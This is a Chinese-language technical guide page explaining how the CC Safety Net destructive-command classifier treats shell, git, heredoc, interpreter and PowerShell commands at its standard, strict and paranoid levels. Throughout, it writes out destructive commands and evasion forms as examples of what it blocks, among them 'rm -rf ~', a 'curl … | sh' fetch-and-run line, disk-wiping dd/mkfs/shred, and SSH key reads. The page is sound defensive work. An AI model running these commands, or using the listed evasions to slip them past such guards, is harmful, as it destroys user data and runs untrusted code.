Skip to main content
这是技术指南的第四页,也是范围最窄的一页。它以架构中的防护管线为基础,只讲破坏性命令分类器的具体行为和边界。阅读 explain 输出或编写精确的自定义规则时,可查阅这些细节。 分类器是防护的最后一个阶段。在此之前,有界工具输入提取、解析器预算、策略文件和 Git 元数据保护、策略快照加载以及敏感路径保护都已运行。这些阶段在有序防护阶段中定义。有界解析以及始终启用的策略文件和 Git 元数据防护,在每个安全级别下都会 fail closed。无效的策略快照使用保护性回退,敏感路径保护则遵循解析后的策略。破坏性命令分类器不能放宽更早阶段已经作出的判定。 其分派流程包括拆分命令段、剥离环境变量赋值和包装器、识别主命令,再交给对应分析器。该流程图见架构。本页继续说明每个分析器如何处理收到的命令段,以及安全级别在哪些位置改变边界。

安全级别边界

三个安全级别是三项能力的预设。只有准确理解这些边界,才能正确预测命令是否会被阻止。 任何不完全对应三个预设之一的能力组合,其生效级别都会报告为 custom。

Standard

Standard 会阻止可识别的破坏性命令,但不具备对抗级保护。对于动态或恶意输入,它只能尽力分析。
  • 允许看似安全但无法解析的文本。 echo 'unterminated 会被允许。
  • 即使无法解析,可识别的破坏性文本仍然会被阻止。 git reset --hard 'unterminated 会被原始文本启发式扫描阻止,该扫描可识别 rm -rf、git reset --hard/--merge、git clean -f、git checkout --force、git push --force/--delete、git branch -D、git tag -d、git stash drop/clear、git checkout --、git restore、find -delete、dd of=/dev/、mkfs /dev/、shred <arg>,以及把下载内容经管道交给 shell 的写法(curl … | sh)。
  • 带引号的字面量赋值中的危险文本延后到使用时判定。 W='rm -rf ~'; echo "$W" 会被允许:赋值本身不执行操作,而且参数位置中带引号的展开仍是一个 argv word,不能拆成命令和标志。任何风险更高的引用方式(未加引号、位于命令位置、位于替换中或位于未加引号的 heredoc body 中)仍会在赋值时触发阻止。把值交给 shell(eval "$W"、bash -c "$W"、echo "$W" | sh)也会拒绝,因为无法验证 shell 执行来源。Strict 从不延后判定。见仅标准允许。
  • 不会一律阻止动态 rm -rf 目标。 Standard 允许 rm -rf "$target";只有启用 fail-closed 能力后才会阻止。
  • Standard 还会允许动态可执行文件名、通过替换拼接的受防护命令结构、其他无法验证的递归删除目标,以及只检查内置敏感路径元数据的独立命令。
  • 对可验证的本地生成命令执行 eval 和 source 是允许的。 eval "$(ssh-agent -s)" 和 source <(kubectl completion bash) 在 standard 下放行,前提是替换主体为单条完全字面的简单命令,且不是远程抓取命令、shell 或命令包装器。主体仍会照常分析,它打印出来的那段 shell 则不会。Strict 和 paranoid 拒绝所有动态 shell 执行来源。见仅标准允许。
  • Standard 绝不放宽敏感内容访问和配置的拒绝路径,也绝不放宽灾难性保护。

Strict

Strict 模式启用 fail-closed 能力。它的作用远不止收紧无法解析的情形。
  • 阻止无法解析的命令。 echo 'unterminated 会被拒绝,原因说明该命令无法安全分析。
  • 阻止仅元数据的敏感路径发现。 test -f ~/.ssh/id_rsa 和 find ~/.ssh -type f 在 standard 中允许,在 strict 中阻止。
  • 禁用仅限 standard 的内联数据放宽。 在 standard 中,只要解释器内联代码整体没有出现文件系统、命令执行或 eval 标记,其中的敏感路径字面量就仍是惰性数据。Strict 会保留全部字面量,并且连字面量内部也会扫描。
  • Heredoc 会 fail closed。 在其他分析器处理命令段之前,包含 heredoc 的命令会被拒绝,除非它通过 Heredoc 分析中描述的狭窄支持门:恰好一个不展开的 heredoc、连接到 stdin、没有其他输入重定向,而且使用六个字面量数据 consumer 中的一个。分隔符不带引号且 shell 会展开其 body 时,拒绝消息为 “Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify.”;其他失败的消息为 “This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify.”。因此,这里会拒绝 python3 - <<'PY' 和 body 中出现 $HOME 的 cat <<EOF,而 body 为纯文本的 cat <<EOF 可以通过。
  • 阻止无法验证的破坏性目标。 有五条规则以 fail-closed 能力为前提,因此在 standard 中允许,在 strict 中阻止:
单条 strict tier 规则可以关闭,但对于没有已注册破坏性命令规则 ID 的 fail-closed 结果,strict 仍然保持 strict,其中就包括解析器 fail-closed 和敏感路径结果。

Paranoid

Paranoid 模式是在 strict 基础上增加两项能力。
  • Paranoid rm 会阻止非临时的递归强制删除,即使目标位于当前工作目录内。rm -rf ./cache 和 Remove-Item ./cache -Recurse -Force 都会被阻止。临时目标和配置的允许路径仍然允许。
  • Paranoid 解释器无论内容如何都会阻止所有解释器单行命令,包括 python -c "print(1)"。

Per-rule override 与级别

对于非灾难性规则,优先级依次是:master switch destructive_command_protection、解析后的预设能力、per-rule "on" / "off" override。任何 strict 或 paranoid tier 规则都可以通过 "on" override 在 standard 下强制启用。 灾难性规则会忽略 master switch 和任何 "off" override。 这些规则是 rm.recursive-force-root-or-home、rm.git-metadata、powershell.remove-item-root-or-home、powershell.remove-item-recursive-force-root-or-home、powershell.remove-item-git-metadata 和 find.delete-git-metadata,另有始终启用的策略文件防护。

Shell 包装器和解释器单行命令

递归进入包装器和解释器的深度上限为 10 层;只要有任何命令段被阻止,整个命令都会被拒绝。 剥离命令段中的环境变量赋值和包装器后,命令名会与两个集合比对:
  • Shell 包装器:bash、sh、zsh、ksh、dash、fish、csh、tcsh。提取并递归分析 -c 之后的参数。
  • 解释器:python、python2、python3、node、ruby、perl。提取代码参数(-c 后的参数,或 node/ruby/perl 的 -e 后参数),并扫描其中嵌入的破坏性操作。
默认情况下,引擎会扫描解释器代码中嵌入的破坏性命令。python -c 'import os; os.system("rm -rf /")' 会因嵌入的 rm -rf / 而被阻止,但解释器单行命令这种形式本身是允许的。Paranoid 解释器模式则无论内容如何,都直接阻止所有单行命令。 busybox 分派按特殊情况处理:子命令被移到命令位置后重新分析。引擎会扫描 awk/gawk/mawk 程序中的 system() 调用和反引号命令替换。

透明包装器

标准包装器(sudo、env、command、builtin)始终会被剥离。你声明为透明包装器的代理命令也会被剥离。声明和约束方式见自定义规则;对分类而言,重要的是引擎如何展开它们。 展开过程会查找包装器标志和环境变量赋值后的第一个可保护子命令,或显式 -- 后的 token。展开后,内置分析和自定义规则都会应用于子命令:rtk git reset --hard 会命中内置规则,rtk docker system prune 会命中匹配的自定义规则。没有任何保护适用的子命令不会被展开。 未声明的代理,或改写、隐藏子命令而不是执行可见子命令的代理,不会被展开。只有顶层危险文本 fallback 扫描可能捕获它。 cwd 会在同一条命令的各个命令段之间追踪,rm 和 find 正是以它为基准对目标分类。哪些 cd 写法会更新 cwd、哪些情况会把 cwd 置为未知,见工作目录追踪。
一项已知限制:解释器的长格式标志(--eval、--execute、--require 以及附带 =value 的形式)并非在所有代码路径中都能识别,因此代码参数不一定总能被提取。见已知限制。

POSIX shell 函数

函数定义会被解析为定义,而不是待执行的代码。可识别三种写法:name() { ... }、bash 关键字写法 function name { ... },以及混合写法 function name() { ... }。左花括号必须与函数名同行,并且自成一个词,因此 function cleanup{ echo ok; } 不算定义。CC Safety Net 在每个调用点用调用者的实际工作目录和 shell 状态分析函数体。 cleanup() { rm -rf ../outside; } 是允许的,因为它只定义了函数。加上调用后,例如 cleanup() { rm -rf ../outside; }; cleanup,命令就会因函数体而被阻止。被调用函数体内的状态变化会延续到后续命令。例如 cleanup() { cd ..; }; cleanup && rm -rf build 会被阻止,因为 rm 锚定在上一级目录。 调用解析遵循 shell 自己的规则:
  • 调用解析会跳过前置的环境变量赋值(X=1 cleanup)、带 -p 选项和 -- 终止符的 time 关键字,以及 ! 取反。这也包括组合形式 time -p -- ! cleanup。给函数名加引号或转义('cleanup'、"cleanup"、\cleanup)只会抑制别名展开,不会抑制函数查找,因此这些写法同样会调用该函数。
  • 真实 shell 不会按关键字形式执行的写法不会解析为调用:X=1 time cleanup、time "--" cleanup 和 !cleanup(中间无空格)都不视为调用。
  • 调用前最后一次的定义生效,与 shell 的重定义语义一致。
  • 在子 shell(( ... ))中作出的定义不会传出子 shell;而花括号组({ ...; })在当前 shell 中运行,因此其中的定义会保留下来。
  • 定义对 eval 和 trap 仍然可见,因为它们在同一个 shell 中运行。因此,cleanup() { rm -rf ../outside; }; eval cleanup 会被阻止。子 shell 不会继承这些定义,所以 sh -c cleanup 解析不到任何函数。
函数体内的位置参数始终未绑定。f() { rm -rf "$1"; }; f ~ 属于动态目标,在 standard 中允许,启用 fail-closed 能力后被阻止。这与 rm -rf "$X" 的处理相同。带引号赋值的延后判定也适用于被调用的函数体。在 W='rm -rf ~'; f() { $W; }; f 中,未加引号的命令位置用法仍会触发赋值时的阻止,而 f() { echo "$W"; }; f 作为带引号的参数数据仍被允许。 分析前的防护阶段同样能看穿函数调用:策略文件保护和敏感路径提取会在每个调用点评估被执行的花括号组和被调用的函数体。 有两个结构边界在每个级别(包括 standard)都会 fail closed。自递归(loop() { loop; }; loop)会因递归深度限制而被拒绝。分支调用链会因派生命令工作预算或投影的 256 个内联调用点上限而被拒绝。函数体内附带的 heredoc 不在安全支持范围内,会使命令无法解析。因此,standard 使用启发式扫描处理,strict 则直接拒绝。

Heredoc 分析

Heredoc body 是 stdin 上的文本,由 consumer 决定该文本是数据还是程序。在其他分析器处理命令段之前,引擎会先用一道狭窄的支持门检查命令。只有以下条件全部成立时才算通过:
  • 命令恰好有一个 heredoc(<< 或 <<-),并连接到 stdin(fd 0)。
  • heredoc 不展开:分隔符带引号(<<'EOF'),或者分隔符不带引号且 body 中不含 $、反引号或反斜杠。此时 shell 不做展开和转义处理,body 会逐字节原样送到 consumer。
  • 没有其他输入重定向争用 stdin(<、<<、<<-、<<<、<&、<>)。
  • consumer 必须是字面量 cat、tee、git apply、git commit、gh pr create 或 gh issue create。不能有路径前缀,也不能有 env 之类的包装器。存在输出进程替换(>(...))时,cat 和 tee 还会被额外拒绝,因为那会把 body 交给另一个命令。
通过支持门的命令在每个级别都把 body 视为惰性数据。例如,即使 body 中描述了破坏性命令,cat > note.md <<'EOF'、git commit -F - <<'EOF' 以及 body 为纯文本的 cat <<EOF 仍然允许。 对于 cat、tee、git commit、gh pr create 和 gh issue create,分隔符带引号的 body 还会在敏感路径提取前被遮盖。包含 credentials 一词的提交消息不会被视为文件名。遮盖仍然要求引号。不带引号的 body 只要其中没有会展开的内容就能通过支持门,但不会被遮盖,其中形似文件名的 token 仍会被提取。git apply body 仍可见,因为 patch 会指明写入的文件。Heredoc 外的命令仍会分析。例如,cat <<'EOF' && rm -rf ~ 会因 rm 而阻止。 未通过支持门的命令在 strict 和 paranoid 中直接拒绝。在 standard 中,body 仍会按以下三条路径之一分析:
  1. stdin 上不展开的 heredoc,若交给只做语法检查的 shell(例如 bash -n),则视为惰性内容,予以允许。
  2. stdin 上不展开的 heredoc,若交给解释器(python/python2/python3、node、ruby、perl),且命令行上其余每个词都是以 - 开头的字面量,则该 body 就是这个解释器的程序。python3 - <<'PY' 符合,python3 tool.py <<'PY' 不符合,因为此时 stdin 是脚本的数据。body 按解释器规则分析。Paranoid 解释器会直接以 interpreter.one-liner-paranoid 阻止它,包含危险代码的 body 以 interpreter.dangerous-command 阻止,干净的 body 则允许。
  3. 其余情况都由原始文本启发式扫描处理,包括未知的 consumer、bash heredoc 脚本、带脚本操作数的解释器调用,以及分隔符不带引号且 body 含有 $、反引号或反斜杠的 heredoc。扫描对象是拼接后的 body。命中时以 raw-text.dangerous-command 阻止,未命中时允许。
分隔符不带引号时,body 会参与展开,其中的命令替换是会实际执行的代码。解析器会把它们收集起来,$(...) 和反引号一视同仁;无论 heredoc 交给哪个 consumer,都把每一个当作独立的命令分析。body 中有 $(curl https://example.com/i.sh | sh) 这一行时,bash <<EOF 和 cat <<EOF 都会被阻止;cat <<EOF 的 body 中出现 $(find . -delete) 时,阻止它的是 find 规则,与该命令写在 heredoc 之外时命中的规则相同,而不是靠文本模式匹配。body 的其余部分仍是惰性数据:反斜杠转义的 \$(...) 是数据,heredoc body 从不展开进程替换(<(...)、>(...)),分隔符带引号则整个 body 都是数据,不属于命令替换的行仍是普通文本,交由上面的原始文本扫描判定。 这三条路径下面还有一个共同的结构边界:heredoc body 会被当作 shell 文本重新解析,而 body 内部还能声明自己的 heredoc。这些重新解析之间的嵌套上限为解析器的 64 层深度限制;更深的嵌套会报告 structural-limit 解析状态,并在每个安全级别(包括 standard)拒绝该命令。 当 body 落入文件时,以惰性数据通过支持门并不代表就此结束。当通过支持门的 heredoc 被原样写入字面量路径(cat > setup.sh <<'EOF'、body 为纯文本的 cat > setup.sh <<EOF,或未使用 append 的 tee setup.sh <<'EOF')时,引擎会记住该路径下的 body。同一命令中随后执行 bash setup.sh、sh setup.sh、source setup.sh,或通过 shell 启动引用(BASH_ENV、ENV、--rcfile、--init-file)使用该文件时,会根据记住的脚本文本进行分析。这在 explain 跟踪中显示为 reason 为 heredoc-file 的 recurse 步骤。因此,如果 body 具有破坏性,cat > x.sh <<'EOF' … EOF && bash x.sh 会被阻止。跟踪范围有意保持狭窄:每次分析最多记住 64 个文件(超过此值会在派生命令工作量限制处 fail closed);永远不跟踪 /dev、/proc 和 /sys 下的路径;后续写入或重定向到已跟踪路径会使存储的 body 失效。

花括号展开

对已解析为字面文本的词,解析器会展开其中的 {a,b} 各项。含变量或命令替换的词保持原样,因此 {rm,$(printf ls)} -rf / 中的花括号会原样保留。嵌套和相邻的组都会完全展开:{r,l}{m,s} -rf / 变成 rm rs lm ls -rf /。扫描器能识别引号和反斜杠转义,因此 {"rm",ls}、{'rm',ls}、{r\m,ls} 和 {rm,l"s"} 的结果都与 {rm,ls} 相同。 展开结果如何解读,取决于该组所在的位置。 位于命令词。 展开出的各项按 shell 的顺序插入词列表,因此 {rm,ls} -rf / 按 rm ls -rf / 分析,并在 rm 上阻止。只有第一项会成为命令,这与 shell 的行为一致:{ls,rm} -rf / 执行的是 ls,操作数为 rm -rf /,因此被允许。前缀会附加到每一项上,a{rm,ls} 变成 arm als。这里不展开范围写法,{1..3} 仍是一个字面量词。前导的 VAR=value 赋值和 sudo、env、command 前缀之后的那个词,同样算命令词。 位于 rm 或 find 的删除目标。 shell 会把所有项都交给命令,因此这里分类的是全部项,而不只是第一项。即使 x 无害,rm -rf {x,/} 也会因 / 被阻止;find {x,/} -delete 同样会被阻止。 解析器无法解析的目标组不会按字面量读取,而是 fail closed。这包括范围写法(rm -rf {a..c} 和 rm -rf ./{a..c} 都以 rm.recursive-force-outside-cwd 拒绝),以及展开后超过 64 个词或 16,384 个字符的组。位于命令词的组则改由解析器限制约束,超出限制时,解析会以 Structural command analysis limit exceeded. 结束,并在所有安全级别下拒绝。

Git 规则引擎

Git 分析器提取子命令及其选项,匹配危险选项模式,并返回原因和分类:localDiscard 或 sharedState。此分类决定能否进行 worktree 放宽。临时根目录放宽只在 linked worktree 中才用到它。 临时根目录放宽只在 linked worktree 中才参考这个分类。若临时根目录下的仓库 .git 是目录,则除 git.push-* 外的所有规则都可以放宽,sharedState 规则也不例外。 选项匹配会处理 git 的真实语法:长选项使用前缀匹配(因此 --forc、--force 和 --force-with-lease 都能正确解析),短选项会展开(因此 -Df 读作 -D 加 -f),定位子命令时会跳过带值的全局选项(-c、-C、--git-dir、--work-tree、--namespace、--super-prefix、--config-env)。被阻止的 git 模式完整列表见被阻止的命令。
Git 支持用 GIT_SSH_COMMAND 和 GIT_SSH 在网络操作期间运行任意程序,并用 GIT_SSH_VARIANT 改变调用该程序的方式。规则 git.ssh-env 会阻止在命令中设置了这些变量(或通过 -c 或 GIT_CONFIG_* 设置了 core.sshCommand)并运行网络子命令(clone、fetch、pull、push、ls-remote、submodule)的命令。从 shell 配置文件继承的值不算数。参见 Git SSH 环境覆盖。
checkout 分析按以下顺序检查:强制(--force/-f);新建分支的例外(-b/-B/--orphan 不返回阻止);--pathspec-from-file;双短横线 pathspec(git checkout -- 丢弃未提交的更改;git checkout <ref> -- <path> 用该 ref 的版本覆盖工作树);以及有歧义的多位置参数形式(出现两个或更多位置参数时,建议改用 switch/restore)。没有 --、只有一个位置参数时,以下三种情况会判定为路径恢复:写成路径的形式(.、..、./…、../…、以 : 开头的 magic pathspec、绝对路径、盘符形式、以 / 结尾);含有 glob 字符(*、?、[);或者它指向解析出的 git 工作目录下已存在的条目。规则 ID 仍是 git.checkout-double-dash,原因是 git checkout <path> discards uncommitted changes permanently. Use 'git stash' first, or 'git switch' to change branches.。main、feature/x 这类纯分支名仍然允许,-d、--detach、-t 和 --track 会让该位置参数不参与这项判定。这项检查不会启动 git 子进程,也不解析 ref,这是刻意的取舍:名字与工作树中已有条目相同的分支会被阻止,提示信息指向 git switch。判断条目是否存在时,git 工作目录从原始 token 解析,因此别名展开为 checkout 时,前置的 -C <dir> 依然生效。
当 -- 之前出现 ref 时,reset --hard/--merge 归类为 sharedState(因为它会移动分支指针),否则归类为 localDiscard(它只丢弃工作树更改)。

工作目录追踪

分析器在同一条命令的各个命令段之间维护一个实际工作目录。cd 的目标若是字面量且能解析,解析结果就成为被追踪的 cwd;分析器解析不了的目标则把 cwd 置为未知,rm 分析随之失去 cwd 锚点。无论哪种情况,原始 cwd 都仍作为锚点保留,因此下面的分类会同时用到这两个目录。 pushd 和 popd 始终把 cwd 置为未知,只有 cd 会被追踪。 哪些 cd 写法会被追踪。 选项只读到第一个非选项 token 为止,且其中每一个都必须是 -L/-P 组合;可选的 -- 之后还必须恰好剩下一个操作数。因此 cd -- /tmp/scratch 和 cd -P /tmp/scratch 会被追踪。cd -、带未知选项的写法(如 cd -x -- /tmp/scratch)、cd /tmp/scratch -P、cd -P /tmp/scratch -L 和 cd /tmp/scratch extra,都会把 cwd 置为未知。 变量操作数。 $VAR 或 ${VAR} 操作数会用随命令携带的字面量 shell 赋值展开,但仅限解析器把该词标记为变量展开的情况。R=/tmp/scratch; cd $R 会被追踪;cd '$R' 和 cd \$R 不会,因为 $ 是原样交给 shell 的。展开结果中若仍含 $、反引号、空白、glob 字符(*、?、[)或开头的 ~,同样把 cwd 置为未知。赋值在被收集的那一刻就完成展开,与 shell 的行为一致,因此单引号或转义过的 $ 保持字面量,之后不会再次展开。A='$B'; B=/tmp/scratch; cd $A 的 cwd 仍是未知。 CDPATH。 不以 .、/ 或盘符开头的裸操作数,只要任一命令段上出现 CDPATH= 或 CDPATH+=(前面有没有 export 都算),或者 hook 环境中设置了 CDPATH,就会把 cwd 置为未知。./sub 和绝对路径操作数仍被追踪,因为 shell 解析它们时不会查 CDPATH。 语句块作用域。 then、do 和 case 开启一个语句块,fi、done 和 esac 结束一个,elif 结束它前面的那个分支。语句块打开期间所做的赋值在块内可用,最后一个语句块结束后即被丢弃,因此之后的 cd $VAR 会变成未知。查找命令词时会跳过开头的 do/then/else,所以 if true; then unset R; fi 会解除该绑定。 for 循环。 for NAME in 后接 1 到 8 个字面量词时,分析状态会按词数分叉,每个分叉都绑定 NAME,且必须全部通过。其他形式的 for,包括不带列表的 for c 和由命令替换拼出的列表,都不会绑定 NAME。 被追踪的 cwd 参与四项判定:
  • cwd 自身目标的判定会匹配解析到被追踪 cwd 或原始锚定 cwd 的目标,因此 cd helpers && rm -rf .. 是 rm.recursive-force-cwd-self,而不是 cwd 内目标。
  • cwd 内目标的判定也用它,因此在工作区内 cd src && rm -rf build 仍然允许。
  • Git 元数据保护同样按它解析目标,因此当 checkout 是一个仓库时,cd scratch && rm -rf ../checkout 会报 rm.git-metadata。
  • 落在受信任的临时根目录下的相对路径目标会成为临时目标,即下表中的第 11 步。
只有当 cwd 变为未知时,跟踪才记录 cwd-change 步骤;追踪成功的 cd 不记录任何步骤。参见 explain 跟踪。

递归删除目标分类

rm 分析会检测递归标志和 force 标志、提取目标,并相对当前工作目录对每个目标分类。目标按以下顺序检查,第一个匹配项决定结果,因此顺序本身非常关键: 该顺序有两个后果值得明确说明:
  • 步骤 4 在步骤 7 之前,因此包含仓库的允许路径不会放宽 Git 元数据保护。
  • 步骤 6 在步骤 7 之前,因此允许路径绝不会应用于动态目标或其他无法验证的目标。
第 11 步需要一个由追踪成功的 cd 得到的 cwd,能否进入这一步取决于工作目录追踪。当被追踪的 cwd 包含原始 cwd 时,这一步不适用,因此从 /tmp 下的工作区往上走,删除同级目录仍会被拒绝。它同样不适用于绝对路径、以 ~ 开头的路径、动态目标,以及含 .. 分量的目标。 允许路径必须是绝对目录或带 ~/ 前缀的目录。它们在每个安全级别下都适用于 rm、Remove-Item 和 find -delete。它们绝不放宽机密保护、拒绝路径、根目录、主目录或受保护的 Git 元数据。等于或包含 $HOME 的条目会在验证时被拒绝,规范化后再次被拒绝;符号链接逃逸不在覆盖范围内。 必须同时存在递归标志(-r/-R/--recursive)和强制标志(-f/--force),此分类才会运行。路径比较使用规范化(realpath)解析,因此指向 / 的符号链接会被正确判定为危险,而 /tmp-malicious 不会匹配 /tmp 临时规则。 在 Windows 上,Git Bash 等 MSYS shell 传入的是 /c/Users/... 形式的路径,而 Windows 路径 API 会把它读成当前驱动器下的路径。因此在任何比较之前,开头的 /<drive-letter> 若后接 / 或已到字符串结尾,就会改写为 <drive-letter>:/,于是 /c/Users/you 按 c:/Users/you 参与比较。改写只影响开头这一段。其他平台不受影响,POSIX 路径、UNC 路径和 Windows 原生盘符路径都原样保留。该改写在 rm 目标分类、策略文件和 Git 元数据保护、敏感路径保护之前运行。捕获环境时,HOME 和 CC_SAFETY_NET_HOME 同样会经过该改写,因此这两个根路径与命令操作数以相同形式比较。临时目录根路径的比较在 Windows 上还会忽略大小写,所以位于 Windows 原生临时目录下的小写 MSYS 路径会归类为临时目标,而不是 cwd 外目标。
日常使用中最重要的区别:rm -rf ./subdir(cwd 内)会被允许,而 rm -rf .(cwd 本身)会被阻止。见允许的命令。

PowerShell Remove-Item

Remove-Item 及其别名使用一个保守的 PowerShell 语法子集,并沿用 rm 的目标分类体系。该子集保留原生引号、路径分隔符、连接符、管道以及动态词的来源信息。
  • -WhatIf、-WhatIf:$true 和缩写 -wi 会使原本会被阻止的删除不再触发阻止;显式的 -WhatIf:$false 则会重新阻止。
  • 动态形式仅在 strict 中阻止:Remove-Item $target -Recurse -Force、Get-ChildItem … | Remove-Item -Force 管道、没有值的 -Path,以及 splatting(Remove-Item @params -Recurse -Force),在 standard 中都允许,在 strict 中都被阻止。例外是 Remove-Item $HOME -Recurse -Force,它在 standard 中就会被阻止,因为它归类为根目录/主目录目标,而不是动态目标。
  • 别名和缩写参数都会解析,因此 ri . -r -fo 会被阻止。调用运算符形式(& Remove-Item …、& { … }、. { … })也会分析,带字面量字符串的 Invoke-Expression 和 $(…) 子表达式同样如此。
  • # 行注释和 <# … #> 块注释(包括嵌套的)会被忽略,但注释之后的真实命令仍然会被阻止。格式错误或触及深度限制的块注释和子表达式会 fail closed。
  • PowerShell 通配符确实会匹配点开头的条目,这一点与 POSIX 的 * glob 不同。因此 Remove-Item .git -Recurse -Force 和位于仓库根目录的 PowerShell 通配符都会命中 Git 元数据保护,而 POSIX 的 ./* 并不覆盖 .git。
  • shell 的选择很重要:posix 方言有意不套用 PowerShell 的删除规则,而 auto 除了检测显式的 Remove-Item,还会检测 Get-Content、Set-Content、Add-Content、Copy-Item、Move-Item,以及参数写成 PowerShell 路径表达式的 gc、cp 之类别名(gc $HOME\.ssh\id_rsa)。无论哪种情况,git.reset-hard 之类的跨 shell 规则都保持生效。

设备和磁盘销毁

这三个命令也会出现在无法解析文本的启发式扫描中。因此,无法解析文本中的 dd of=/dev/…、mkfs /dev/… 和 shred <arg> 会以 raw-text.dangerous-command 阻止,除非文本以 echo 或 rg 开头。这三条规则都不是灾难性规则,因此遵循 master switch 和 per-rule override 的优先级。

find、xargs 和 parallel 的动态目标分析器

对于 xargs 和 parallel,问题在于目标来自动态输入(管道 stdin 或占位符展开),因此无法相对 cwd 验证。parallel 的 SSH 远程模式(-S/--sshlogin)也会禁用 worktree 放宽。 CC Safety Net 只从一个 ::: 参数组展开 parallel,展开时使用 {} 和 {n} 替换字符串。第二个 ::: 组、从最后一个输入源往回数的 {-n}、{= ... =} Perl 表达式,以及 --workdir/--wd,都会以 parallel.command-stream-dynamic 拒绝;引擎从未展开过的那些输入形式同样如此:::::、:::+、-a/--arg-file、--colsep、--rpl、--arg-sep、--arg-file-sep 和 --env。引擎仍会展开子命令,也仍会把 --workdir 解析为子命令实际运行的目录,因此即使关闭了 parallel.command-stream-dynamic,rm -rf / 这类灾难性目标仍会命中自身的规则而被阻止。把 ::: 各组展开成作业会计入 derived token 预算,耗尽预算的作业矩阵会 fail closed。 如果子命令由自定义规则负责,其参数中任何位置出现替换字符串都算动态输入,会以 xargs.shell-dynamic 或 parallel.shell-dynamic 拒绝。CC Safety Net 不会反推哪个输入值会命中该规则。

Worktree 放宽

启用 worktree 模式后,已确认的 linked worktree 内允许本地丢弃类的 git 命令。放宽需要同时满足以下条件:
  1. 匹配的规则分类为 localDiscard(见 Git 规则引擎一节的表格)。sharedState 规则绝不放宽。
  2. worktree 模式已开启。policy.json 中的 workflow.worktree_mode 与 CC_SAFETY_NET_WORKTREE=1 按逻辑 OR 组合。
  3. 不存在 git 上下文环境覆盖(GIT_DIR、GIT_WORK_TREE、GIT_COMMON_DIR、GIT_INDEX_FILE),并且命令行上不存在 --git-dir/--work-tree。
linked worktree 会被正向验证,而不是简单假定。检查会确认 .git 条目是一个_文件_(不是目录或符号链接),其 gitdir: 指针指向的目录包含 commondir 文件,反向链接指回这个 worktree,并且 config.worktree 匹配。主 worktree、裸仓库和 submodule 不会获得放宽。只要验证因任何原因失败,命令就保持阻止(fail closed)。
即使在已确认的 linked worktree 内,以下情况也绝不放宽:包含 $、*、? 或 [ 的动态参数;强制分支重置(带 -f 或 --discard-changes 的 git checkout -B/-Bf 或 git switch -C/-Cf);带多个 -f 标志的 git clean(删除嵌套的 git 仓库才需要,而这超出了一次性 worktree 的边界);以及任何 --recurse-submodules 选项或递归 submodule 配置。
git 的实际工作目录通过遍历前置的全局选项解析得出。-C <path> 和内联的 -C<path> 会改变目录。--git-dir/--work-tree(分开写或 = 形式)标记显式的 git 上下文,会完全禁用放宽。

临时根目录放宽

第二项放宽面向在受信任的临时根目录下的一次性仓库中运行的 git 命令。它与 worktree 放宽相互独立,也不需要开启 worktree 模式。除 git.push-* 外的每一条 git 规则都可以这样放宽。 出现以下任一情况时,这项放宽都不适用:命令行上有 --git-dir 或 --work-tree;存在 git 上下文环境覆盖(GIT_DIR、GIT_WORK_TREE、GIT_COMMON_DIR、GIT_INDEX_FILE);命令来自展开后的命令行 git 别名。git.alias-config 和 git.ssh-env 在两种放宽之前就已判定,因此同样不会被放宽。 引擎从解析出的 git 工作目录逐级向上,找到最近一个持有 .git 条目的祖先目录作为仓库根。该根必须位于某个受信任的临时根目录之下,本身不能就是临时根目录,也不能是工作区(即原始 cwd)的祖先或子目录。该根的 .git 必须是实际存在的目录条目;.git 缺失或是符号链接时,规则保持不变。这里所说的受信任的临时根目录只有内置的那些,无法通过配置增加。allow_paths 只在 rm 的目标分类中读取,不会让某个仓库变成一次性仓库。 临时根目录下的 linked worktree,.git 是文件而不是目录。这种情况下只有分类为 localDiscard 的规则才能放宽,而且引擎读取 worktree 信息时,必须确认存在回链到该 worktree 的 gitdir 和一个 commondir。命令还要通过 linked worktree 模式所列的不可放宽的本地丢弃。branch、stash 和 tag 操作会改动该 worktree 所属的仓库,因此仍被阻止;git reset --hard <ref> 属于共享状态,在这里同样绝不放宽。 git.worktree-remove-force 依据操作数而非仓库来判断,因为 git 运行在工作区中,而真正一次性的是被删除的那个路径。该规则读取 remove 之后那个唯一的字面量操作数。 只有解析器把该词标记为变量展开,且该词的每个字面量片段都不含 $ 和反引号时,才会用追踪到的 shell 赋值替换它。否则操作数就按原文处理。 替换之后,操作数必须是绝对路径,不含空白、$、反引号和 glob 字符,并且已经是一个存在的、非符号链接的目录。它的真实路径必须位于受信任的临时根目录之下,本身不是临时根目录,也不是工作区的祖先或子目录。因此 git worktree remove --force "$S/main" 和不带引号的 $S/main 可以放宽,而 '$S/main'、./linked 这类相对路径、不存在的路径以及符号链接,都会让规则保持不变。 跟踪中会记录一个 temp-root-relaxation 步骤,带上所解除的原因和 git 工作目录。参见 explain 跟踪。

自定义规则

没有内置分析器匹配时,自定义规则会作为 fallback 运行。它们严格只增不减:只能新增阻止,绝不会覆盖内置的阻止或放宽保护。规则以 <rulebook-name>/<rule-name> 作为命名空间,先按命令 basename 匹配,之后的匹配方式取决于各自 rulebook 的版本。版本 1 的规则匹配可选的子命令,以及按字面匹配的 block_args;短选项会展开,因此 -Ap 能匹配 -A。rulebook_version: 2 的规则改用 match 对象匹配:match.command_path 中的各个词必须按顺序对应最前面的几个非选项参数,match.any_args 要求参数中至少出现其中一个 token,而 match.exclude_args 中的 token 只要出现一个,匹配就取消。版本 2 按 token 精确比较,不展开短选项。见版本 2 匹配。 完整的编写指南和匹配语义见自定义规则。

检查分类

要准确查看引擎如何评估特定命令,请运行 explain:
人类可读输出会逐个命令段展示解析步骤和规则评估。JSON 输出返回结构化跟踪,其 schema 见解释跟踪参考。 如果某个判定看起来不对,而问题出在你的配置而不是命令本身,请检查运行时是否正在强制执行 fallback 策略:npx cc-safety-net status 会打印 ready 或 degraded,配置恢复说明如何修复指定的来源。

后续阅读

技术指南先讲用户看到的流程,再讲设计依据。本页是第 4 步。
  • 上一页:架构说明本分类器所处的有序防护阶段,它是其中的最后一环。
  • 下一页:设计原则说明为什么分类基于语义而不是模式匹配,以及级别边界为什么划在这些位置。
相关页面:模式用于选择级别,被阻止的命令和被允许的命令提供结果参考,已知限制说明分类器看不到的内容。
最后修改于 2026年9月21日